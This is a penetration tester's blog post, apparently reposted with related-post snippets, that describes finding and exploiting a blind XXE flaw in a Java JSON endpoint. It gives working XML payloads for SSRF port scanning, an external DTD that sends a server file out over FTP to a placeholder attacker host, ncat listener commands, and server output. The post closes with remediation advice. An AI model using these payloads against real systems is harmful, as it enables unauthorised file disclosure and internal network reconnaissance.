Hunting in the Dark – Blind XXE

Before getting into the post, this isn’t anything brand new or leet in the area of XML External Entity (XXE) attacks, it is purely something I came across and wanted to share.

The tl;dr to start off is essentially:

  • Found an XXE bug that was blind meaning that no data or files were returned, based upon no knowledge of the back end.
  • Port scanned with it based on errors, etc.
  • Managed to get external interaction working.
  • Utilized blind scanning to identify files on the back-end system.

As a pentester I find myself learning loads every single day, whether it be reading for pleasure or learning something new on the job. Every day is still a school day and I’m always coming across things I’ve maybe seen before but in different implementations. This instance was a case of a JSON endpoint which when you flipped the content type it’d process XML entities and give you different errors depending on what content it received.

What’s this XXE you speak of?

For those who read XXE and don’t know what it is here’s a short description taken from OWASP:

An XML External Entity attack is a type of attack against an application that parses XML input. This attack occurs when XML input containing a reference to an external entity is processed by a weakly configured XML parser. This attack may lead to the disclosure of confidential data, denial of service, server side request forgery, port scanning from the perspective of the machine where the parser is located, and other system impacts.

If the generic description from OWASP doesn’t cut it for you, it is essentially when you send malicious XML content to an application which processes that content to disclose information. This can result in: Local File Inclusion(LFI), Remote Code Execution(RCE), Denial of Service (DoS), Server Side Request Forgery(SSRF) & other types of attack however these are the main ones to look out for.

It is essentially another injection type attack and one that can be quite critical if leveraged properly. So this post takes the form of a problem I encountered on a recent pentest & later found on a bounty too, essentially the issue lies with an application that accepted XML input and wasn’t sufficiently scrutinising user supplied data.

Initial Discovery

The first identification that the host might be processing XML was made when I flipped the content type to XML on a JSON endpoint. An example request of how this was done is shown below:

POST /broken/api/confirm HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Content-Type: application/xml;charset=UTF-8

[{}]

To which this replied with a Java based error in the response similar to that shown below.

javax.xml.bind.UnmarshalException
 - with linked exception:
[Exception [EclipseLink-25004] (Eclipse Persistence Services): org.eclipse.persistence.exceptions.XMLMarshalException
Exception Description: An error occurred unmarshalling the document

The contents of the error basically state that the backend processed the XML sent to it and had an issue with extracting the necessary content to process thus resulting in an error. In comparison to other responses the application was giving, this stood out as odd based upon the other responses being either True or False.

Pulling at the thread

So the next natural step for me was to pull at that thread and see how to application responded to other types of content being sent to it. First off I sent a generic XML payload to test the water and check this wasn’t just a fluke.

POST /broken/api/confirm HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Content-Type: application/xml;charset=UTF-8

<?xml version="1.0" encoding="utf-8"?>

So that was sent to the application once again, this time the error response was slightly different in that it returned more context to the error:

javax.xml.bind.UnmarshalException
 - with linked exception:
[Exception [EclipseLink-25004] (Eclipse Persistence Services): org.eclipse.persistence.exceptions.XMLMarshalException
Exception Description: An error occurred unmarshalling the document
Internal Exception: ████████████████████████: Unexpected EOF in prolog
 at [row,col {unknown-source}]: [3,0]]

This confirmed the suspicion that the application was processing XML input, the error this time explained that there was an unexpected end to the passed data meaning that it was expecting more information in a POST request.

Starting the Hunt

This is where the hunt begins, normally the differentiation between errors might be enough for most people however I wanted to see how far I could go with this and what other information I could uncover. I started with regular XXE payloads looking for local files similar to this:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY % a SYSTEM "file:///etc/passwd">
%a;
]>

However the application kept replying with generic errors similar to the EOF one seen earlier so I had to dig deeper to find info about the server. Enter server side request forgery(SSRF).

SSRF is basically a type of attack whereby an attacker can send a specially crafted request to an app in order to trigger a server side action. This can be leveraged to carry out port scanning and in some cases remote code execution(RCE).

Port Scanning

So with some quick messing around I compiled a payload to use for a server side request forgery type attack, the XML essentially probes a host on a port specified in order to determine if ports are open on the local machine in this case 127.0.0.1 has been used.

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data SYSTEM "http://127.0.0.1:515/" [
<!ELEMENT data (#PCDATA)>
]>
<data>4</data>

Aha! Light bulb moment, the application responded with another error. However this time it was meaningful to an extent disclosing that the connection was refused…

javax.xml.bind.UnmarshalException
 - with linked exception:
[Exception [EclipseLink-25004] (Eclipse Persistence Services): org.eclipse.persistence.exceptions.XMLMarshalException
Exception Description: An error occurred unmarshalling the document
Internal Exception: ████████████████████████: Connection refused

So what does this mean for the findings so far? Well the application is clearly responding to XML input, how about a port scan of the local machine? Woohoo time to use burp intruder:

Setting the point of attack to the port & URI handler, and adding making the payload sets:

    1. a list of URIs(HTTP, HTTPS & FTP)
    1. the numbers 0-65535 as that encapsulates a full port scan in this instance.

Running this attack takes a short while as it’s sending ~200,000
requests based upon the amount of ports * the amount of URI handlers.

A short while later after sorting the responses by length it returns that port 8080 appears to be open on HTTP & HTTPS.
Sure enough when both of these responses are viewed the content is
different and indicates that these ports may in fact be open:

HTTP

javax.xml.bind.UnmarshalException
 - with linked exception:
[Exception [EclipseLink-25004] (Eclipse Persistence Services): org.eclipse.persistence.exceptions.XMLMarshalException
Exception Description: ████████████████████████: Unrecognized DTD directive ‘<!DOCTYPE >‘; expected ATTLIST, ELEMENT, ENTITY or NOTATION (or, for DTD++, TARGETNS)
 at [row,col,system-id]: [1,9,"http://127.0.0.1:8080/"]
 from [row,col {unknown-source}]: [1,1]]

HTTPS

javax.xml.bind.UnmarshalException
 - with linked exception:
[Exception [EclipseLink-25004] (Eclipse Persistence Services): org.eclipse.persistence.exceptions.XMLMarshalException
Exception Description: An error occurred unmarshalling the document
Internal Exception: ████████████████████████: Unrecognised SSL message, plaintext connection?]

From the HTTP response we can see that instead of returning Connection Refused instead another error is returned which points to this port as being open. Likewise when looking at the HTTPS response, the contents indicate that the port is open on a plain text protocol and not talking SSL.

Using this logic the next step would be naturally to scan the internal network too, however at this stage I didn’t know what the IP address was so shelved the port scanning and moved onto identification of external access.

External Service Interaction

In addition to port scanning it was also determined that it was possible to make requests to external sites, to emulate this I leveraged ncat on a remote server. NCAT is that little bit better than netcat as it gives more info printed out upon successful connections, it shares the same flags as netcat too which is very useful.

I set this up as a listener on a remote server using the command:

ncat -lvkp 8090

  • -l this specifies ncat to be in listening mode
  • v turns on verbose mode
  • k makes sure the connection is kept live after a successful connection
  • p specifies the specific port to listen on

If you’re interested in more about ncat check out the manual pages for it here.

With the listener all setup the next step was to test that connections could be made from the application server. This was achieved by issuing the following request(note: if you don’t own a VPS or server, burp collaborator can be used too):

POST /broken/api/confirm HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Content-Type: application/xml;charset=UTF-8

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data SYSTEM "http://ATTACKERIP:8090/" [
<!ELEMENT data (#PCDATA)>
]>
<data>4</data>

Taking note that the port can be anything, I’ve selected 8090 for this demonstration. Anyway, upon sending this request the following information was received on the remote server:

Ncat: Version 7.40 ( https://nmap.org/ncat )
Ncat: Listening on :::8090
Ncat: Listening on 0.0.0.0:8090
Ncat: Connection from ██████████████████.
GET / HTTP/1.1
Cache-Control: no-cache
Pragma: no-cache
User-Agent: Java/1.8.0_60
Host: ATTACKERHOST:8090
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive

Key information outlined above includes the IP address of the server which upon further inspection was from an Amazon Web Services (AWS) instance, additionally the user agent for the request was found to be Java/1.8.0_60 indicating that the back-end server is processing Java. Another attack type that was identified using an out of band (OOB) type attack targeting the server to identify if files exist or not.

Out of Band(OOB) Attacks

File Identification

Alongside external interaction, it was also identified that it was possible to determine if files exist on the back end server based upon responses. In order to do this I leveraged the FTP URI handler in an OOB attack.

The following request was sent to the application to demonstrate and test this.

POST /broken/api/confirm HTTP/1.1
Host: example.com
Content-Type: application/xml;charset=UTF-8
Content-Length: 132

<?xml version="1.0" ?>
<!DOCTYPE a [
<!ENTITY % asd SYSTEM "http://ATTACKERSERVER:8090/xxe_file.dtd">
%asd;
%c;
]>
<a>&rrr;</a>

This basically sends a request to a remote server looking for an external document type definition (DTD) file which contains the payload, the contents of the file used for this scenario were:

<!ENTITY % d SYSTEM "file:///var/www/web.xml">
<!ENTITY % c "<!ENTITY rrr SYSTEM ‘ftp://ATTACKERSERVER:2121/%d;‘>">

The payload sends a second request to the attacker’s server looking for a DTD file which contains a request for another file on the target server.

If the file didn’t exist the server responded with a No such file or directory response. Similar to that shown below:

javax.xml.bind.UnmarshalException
 - with linked exception:
[Exception [EclipseLink-25004] (Eclipse Persistence Services): org.eclipse.persistence.exceptions.XMLMarshalException
Exception Description: An error occurred unmarshalling the document
Internal Exception: ████████████████████████: (was java.io.FileNotFoundException) /var/www/index.html (No such file or directory)
 at [row,col,system-id]: [2,63,"http://ATTACKERSERVER:8090/xxe_file.dtd"]
 from [row,col {unknown-source}]: [4,6]]

However, if it does exist the response is different.

The error A descriptor with default root element foo was not found in the project was returned as due to me not knowing the root element names.

javax.xml.bind.UnmarshalException
 - with linked exception:
[Exception [EclipseLink-25004] (Eclipse Persistence Services): org.eclipse.persistence.exceptions.XMLMarshalException
Exception Description: An error occurred unmarshalling the document
Internal Exception: ████████████████████████
Exception Description: A descriptor with default root element foo was not found in the project]

If this information surrounding the root element names was known the attack would become more visible and slightly more damaging as it would potentially result in retrieval of local files and dare I say it potential for RCE!!!

As can be seen clearly the response differs per file requested allowing an attacker to build up a profile of the underlying server behind the application.

Uncovering Internal IP Addresses

Using the same out of bands technique described in above, I was able to gather information surrounding the internal IP address of the application host. This was gained via the FTP handler which exploits Java to extract information contained within connection strings.

To do this I used xxe-ftp-server which allowed me to listen on a custom port and intercept requests. I set this up server side listening on port 2121 as that is the default used by this script.

I then issued the following request to the app which basically makes a FTP request from the application server to an attacker host specified:

POST /broken/api/confirm HTTP/1.1
Host: example.com
Content-Type: application/xml;charset=UTF-8

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
  <!ENTITY % one SYSTEM "ftp://ATTACKERHOST:2121/">
  %one;
  %two;
  %four;
  %five;
]>

Before sending the request the FTP server needs to be run server side. The output below shows what happens when the above request is issued to the server.

ruby xxe-ftp-server.rb
FTP. New client connected
< USER anonymous
< PASS [email protected]
> 230 more data please!
< TYPE A
> 230 more data please!
< EPSV ALL
> 230 more data please!
< EPSV
> 230 more data please!
< EPRT |1|10.10.13.37|38505|
> 230 more data please!
< LIST
< PORT 10,10,13,37,150,105
! PORT received
> 200 PORT command ok
< LIST

So breaking down the output above, the target application sends a request to the FTP server which receives a login request. The login request contains the version of Java & the internal IP of the server plus the source port. This indicated two things to me, 1) the internal range was likely 10.10.x.x & 2) there doesn’t appear to be any internal -> external egress filtering which would be really useful should a shell be gained.

As discussed earlier on, port scanning was possible against the host however I only scanned the localhost as I didn’t know the IP range. Based on the OOB techniques used the internal range was identified and another port scan was run with burp intruder.

This revealed that not only did the localhost have port 8080 open but it appeared to be listening on all interfaces meaning that further enumeration could be carried out. This meant that in this case some additional apps were identified via server side request forgery which is always fun.

Remediation Advice

The main problem is that the XML parser parses the untrusted data sent by the user. However, it may not be easy or possible to validate only data present within the system identifier in the DTD. Most XML parsers are vulnerable to XML external entity attacks (XXE) by default. Therefore, the best solution would be to configure the XML processor to use a local static DTD and disallow any declared DTD included in the XML document.

Further Reading

If you enjoyed this post and want to read more about XXE, here are a few links to check out which contain more info about XXE.

原文地址:https://www.cnblogs.com/heycomputer/p/10229778.html

时间: 2024-10-07 04:14:32

Hunting in the Dark – Blind XXE的相关文章

XXE漏洞以及Blind XXE总结

 转载请注明出处:http://blog.csdn.net/u011721501 0.前言 XXE漏洞是针对使用XML交互的Web应用程序的攻击方法,在XEE漏洞的基础上,发展出了Blind XXE漏洞.目前来看,XML文件作为配置文件(Spring.Struts2等).文档结构说明文件(PDF.RSS等).图片格式文件(SVG header)应用比较广泛,此外,网上有一些在线XML格式化工具也存在过问题,如开源中国的在线XML格式化工具XXE漏洞: http://www.wooyun.or

关于Blind XXE

关于Blind XXE 关于XXE,很早之前内部做过分享,个人觉得漏洞本身没太多的玩点,比较有意思主要在于:不同语言处理URI的多元化和不同XML解析器在解析XML的一些特性. 在科普Blind XXE之前,假定你们已经掌握了XXE,了解了 XML, Entity, DCOTYPE, DTD等这些基础知识. Blind XXE的原理和利用方式我在wooyun上的漏洞报告:鲜果网RSS导入Blind XXE漏洞 也讲的比较详细,大家可以参考这个实例. 普通的XXE,利用的是通用实体,回显数据,如下

XML External Entity attack/XXE攻击

XML External Entity attack/XXE攻击 1.相关背景介绍 可扩展标记语言(eXtensible Markup Language,XML)是一种标记语言,被设计用来传输和存储数据.XML应用极其广泛,如: * 普通列表项目文档格式:OOXML,ODF,PDF,RSS…… * 图片格式:SVG,EXIF Headers…… * 网络协议:WebDAV,CalDAV,XMLRPC,SOAP,REST,XMPP,SAML,XACML…… * 配置文件:Spring配置文件,St

听补天漏洞审核专家实战讲解XXE漏洞

对于将"挖洞"作为施展自身才干.展现自身价值方式的白 帽 子来说,听漏洞审核专家讲如何挖掘并验证漏洞,绝对不失为一种快速的成长方式! XXE Injection(XML External Entity Injection),是一种容易被忽视,但危害巨大的漏洞.它是一种隐蔽并且经常被忽视的漏洞,可以利用XML外部实体加载注入,执行不可预控的代码. 据补天数据统计,每100个漏洞里,有0.5个是XXE.XXE漏洞虽然数量不多,却每个都是一种漏洞的经典案例!<文末有彩蛋> 1.X

XXE(外部实体注入攻击)

XXE(XML External Entity 外部实体注入) DTD(Document Type Definition 文档类型定义)用来为XML文档定义语义约束,可以嵌入在XML文档中(内部声明)也可以独立的放在一个文件中(外部引用),由于其支持的数据类型有限,无法对元素或属性的内容进行详细规范,在可读性和可扩展性方面也比不上XML Schema参考链接:http://www.w3school.com.cn/dtd/ DTD引用方式: DTD内部声明 <!DOCTYPE 根元素[元素声明]>

[Web安全] XXE漏洞攻防学习(上)

0x00.XXE漏洞 XXE漏洞全称XML External Entity Injection 即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件和代码,造成任意文件读取.命令执行.内网端口扫描.攻击内网网站.发起Dos攻击等危害. XXE漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件. 0x01.XML基础知识 要了xxe漏洞,那么一定得先弄明白基础知识,了解xml文档的基础组

[Web安全] XXE漏洞攻防学习(中)

0x00.XXE漏洞攻击实例 攻击思路: 1. 引用外部实体远程文件读取 2. Blind XXE 3. Dos 0x01.外部实体引用,有回显 实验操作平台:bWAPP平台上的XXE题目 题目: 进行抓包,点击Any bugs?按钮,抓包如下: 可以看到xxe-1.php页面以POST方式向xxe-2.php页面传输了XML数据. 既然是XML数据,我们就可以自己增加一个恶意外部实体,然后在原本的XML数据中进行实体调用,来进行xxe攻击 获取系统密码文件 payload: <?xml ver

XXE: XML eXternal Entity Injection vulnerabilities

From:https://www.gracefulsecurity.com/xml-external-entity-injection-xxe-vulnerabilities/ Here's a quick write-up on XXE, starting with how to detect the vulnerability and moving on to how to fix it! XXE is a vulnerability in the way that XML parses h

XXE – Things Are Getting Out of Band

This isn't anything new however has been a long time in writing as I've been playing around with things! It is more my take on how to do these types of attacks and how I've found different tools to be better than others alongside different techniques